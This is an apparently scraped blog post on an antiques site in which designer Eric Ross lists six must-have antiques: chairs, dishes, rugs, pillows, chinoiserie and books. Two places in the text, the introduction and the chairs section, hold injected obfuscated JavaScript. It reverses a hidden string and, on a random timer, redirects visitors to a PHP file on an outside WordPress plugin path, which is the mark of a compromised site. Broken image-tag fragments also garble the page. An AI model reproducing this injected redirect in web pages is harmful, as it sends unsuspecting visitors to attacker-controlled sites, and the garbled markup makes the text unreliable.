Tag: Eric Ross

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I’ve asked one of my favorite designers, Eric Ross, to share what he feels are the MOST important vintage or antique pieces you MUST have in your home if you consider yourself an antiquarian!

If Eric Ross isn’t already on your radar then you’ll be delighted to meet this full service residential interior designer who is famous for the homes he’s doing in the Greater Nashville, Brentwood, and Franklin, Tennessee area! This boy is designing a whole new south – traditional with a twist! I simply adore Eric and his gorgeous wife Ruthann!

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tors, Tennessee Interior Designer, Slipper Chair, Bergere Chair, Chinoiserie, Decorating with Antiques” width=”500″ height=”436″ /> Meeting Eric Ross at the Design Bloggers Conference in March 2014

While I’m certain Eric could talk for ages and pages about what each antique collector must haves, he’s promised to be brief!  But if these tidbits whet your appetite for more details, just head over to Eric’s blog to read more of what collectors shouldn’t live without – and follow his 6 part series.

GUEST BLOG:
Designer Eric Ross’ 6 Must Have Antiques Include:

 1. Chairs

Chairs are like friends – you need a few good ones. A few examples of my favorite styles are:

The Slipper chair.  I find this style very comfortable as it allows ones arms and hands to fall naturally into the lap without worrying about the arms of the chair being the wrong height for someone’s body.

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tors, Tennessee Interior Designer, Slipper Chair, Bergere Chair, Chinoiserie, Decorating with Antiques” width=”224″ height=”300″ /> Eric also has a small obsession with tiny chairs

A Bergère chair, THE classic French armchair, is considered masculine because it has solid arms.  The feminine version, a Fauteuil, has space under the armrest open to allow room for a lady’s skirts.

2. Dishes

Whether they’re displayed on a table, in a bookcase, or on a wall, the glint of the polish creates an interesting play with light in a room.  Colorful dishes help enhance a room’s color scheme, but don’t forget about plain white. The milky-white of cream-ware also takes on the hue of what’s around it.

tors, Tennessee Interior Designer, Slipper Chair, Bergere Chair, Chinoiserie, Decorating with Antiques” width=”199″ height=”300″ />

The best thing about dishes is that they are a beautiful and inexpensive decoration.  Don’t have the budget for art?  Break out your grandma’s china and hang it.

3. Rugs

Rug rule #1: Spare no expense! Spend the most you can afford. If you spend the least you can afford you’ll end up with a glorified bath mat. Shudder!

tors, Tennessee Interior Designer, Slipper Chair, Bergere Chair, Chinoiserie, Decorating with Antiques” width=”224″ height=”300″ />

Rug rule #2: Always go with wool! A good rug is a workhorse.  If you’re spending money on a high quality antique you have to remember that this rug has been traipsed on for over 100 years… and still looks good! Twenty years in your home isn’t going to kill it.

4. Pillows

You really can’t have too many pillows in a room.  And, they’re an inexpensive way to add pizzazz to a hum-drum sofa or chair.

Pillows are also a great way to recycle fabrics that have moved past their prime in other areas: Needlepoint or tapestry that has frayed at the edges of a chair can be given new life on a pillow. I’ve also seen beautiful vintage tea towels featuring hand embroidery put to good use by adding a little vintage touch in children’s bedrooms.

tors, Tennessee Interior Designer, Slipper Chair, Bergere Chair, Chinoiserie, Decorating with Antiques” width=”238″ height=”300″ />

So, don’t be afraid to re-purpose Grandma’s needlepoint into a lovely pillow that can be enjoyed for generations to come.

 5. Chinoiserie

The term “Chinoiserie” covers anything with a Far-Eastern or Oriental theme.  From faux bamboo furniture, through hand-painted wallpaper panels, inlaid screens, lotus blossom art, ginger jars (swoon) and willow pattern plates, statues, pagoda shapes, caramondel screens… the list goes on and on. And, so does my passion for this style! I have several Pinterest boards set up as altars at which I worship. If you ever get the chance check it out.

tors, Tennessee Interior Designer, Slipper Chair, Bergere Chair, Chinoiserie, Decorating with Antiques” width=”200″ height=”300″ />

For people who don’t want a lot of it, consider adding just one small foo dog, or blue and white bud vase. From a small accent to a whole wall, Eastern flavor adds just the right amount of spice to your décor.

6:  Books

Antique books are a wonderful and inexpensive way to decorate.  They don’t have to be old and they don’t even (all) have to be pretty… they just need to be placed well.

Placement is key because it can easily look like you don’t pick up after yourself.

tors, Tennessee Interior Designer, Slipper Chair, Bergere Chair, Chinoiserie, Decorating with Antiques” width=”224″ height=”300″ />

On shelves, mixed in with your favorite photos, art and collectibles, books give the eye a place to rest. A couple of books under a small ornament raises it into the middle of the shelf, displaying it more effectively; and a section of vertically stacked books distances one area from the next, making your shelves look well thought out rather than filed under “Boring!”

tors, Tennessee Interior Designer, Slipper Chair, Bergere Chair, Chinoiserie, Decorating with Antiques” width=”290″ height=”300″ />

Coffee table books are a MUST.  Clients of mine have flinched at the idea of spending $75 on a beautiful volume, but if you compare that with the $500 you might spend on a good vintage box, books are definitely an inexpensive accessory.

So whether you are starting a collection or just adding to, take an inventory of your treasures to see if you need to start out on a new hunt.

Don’t forget to check out Eric’s blog for more great design advice!

The Antiques Diva®